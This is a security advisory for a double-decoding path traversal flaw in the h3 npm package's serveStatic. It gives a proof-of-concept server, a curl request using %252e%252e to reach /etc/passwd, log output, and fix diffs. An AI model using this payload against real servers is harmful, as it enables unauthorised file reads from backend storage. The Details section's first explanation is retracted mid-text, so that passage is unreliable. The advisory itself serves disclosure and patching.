GHSA-72gr-qfp7-vwhw

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Source
https://github.com/advisories/GHSA-72gr-qfp7-vwhw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-72gr-qfp7-vwhw/GHSA-72gr-qfp7-vwhw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-72gr-qfp7-vwhw
Published
2026-03-20T20:50:09Z
Modified
2026-03-20T21:03:46.449Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Details

Summary

The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.

Details

The vulnerability is a conflict between two decoding stages:

Stage 1 — H3Event constructor (src/event.ts:65-69):

if (url.pathname.includes("%")) {
  url.pathname = decodeURI(
    url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
  );
}

This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).

Stage 2 — serveStatic (src/utils/static.ts:86-88):

const originalId = resolveDotSegments(
  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);

This applies a second decodeURI(), which decodes %2e., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.

Wait — re-examining the flow more carefully:

  1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd
  2. decodeURI() in static.ts converts %2e., producing: /../../../etc/passwd
  3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd

The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:

  1. Request: /%252e%252e/%252e%252e/etc/passwd
  2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd
  3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e)
  4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character:
    if (!path.includes(".")) {
      return path;
    }
    
  5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks
  6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard

The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.

PoC

1. Create a minimal h3 server with a URL-based static backend:

// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";

const app = new H3();

app.get("/**", (event) => {
  return serveStatic(event, {
    getMeta(id) {
      console.log("[getMeta] asset ID:", id);
      // Simulate URL-based backend (CDN/S3)
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getMeta] resolved URL:", url.href);
      return { type: "text/plain" };
    },
    getContents(id) {
      console.log("[getContents] asset ID:", id);
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getContents] resolved URL:", url.href);
      return `Fetched from: ${url.href}`;
    },
  });
});

serve({ fetch: app.fetch, port: 3000 });

2. Send the double-encoded traversal request:

curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'

3. Observe server logs:

[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd

The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.

Impact

  • Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
  • Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
  • Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs.

Recommended Fix

The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.

Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:

  const originalId = resolveDotSegments(
-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
  );

Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:

 export function resolveDotSegments(path: string): string {
-  if (!path.includes(".")) {
+  if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
     return path;
   }
   // Normalize backslashes to forward slashes to prevent traversal via `\`
-  const segments = path.replaceAll("\\", "/").split("/");
+  const segments = path.replaceAll("\\", "/")
+    .replaceAll(/%2e/gi, ".")
+    .split("/");
   const resolved: string[] = [];

Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments cannot be bypassed with percent-encoded dots regardless of the caller.

Database specific
{
    "github_reviewed_at": "2026-03-20T20:50:09Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-22"
    ],
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / h3

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.15.9

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-72gr-qfp7-vwhw/GHSA-72gr-qfp7-vwhw.json"
last_known_affected_version_range
"<= 1.15.8"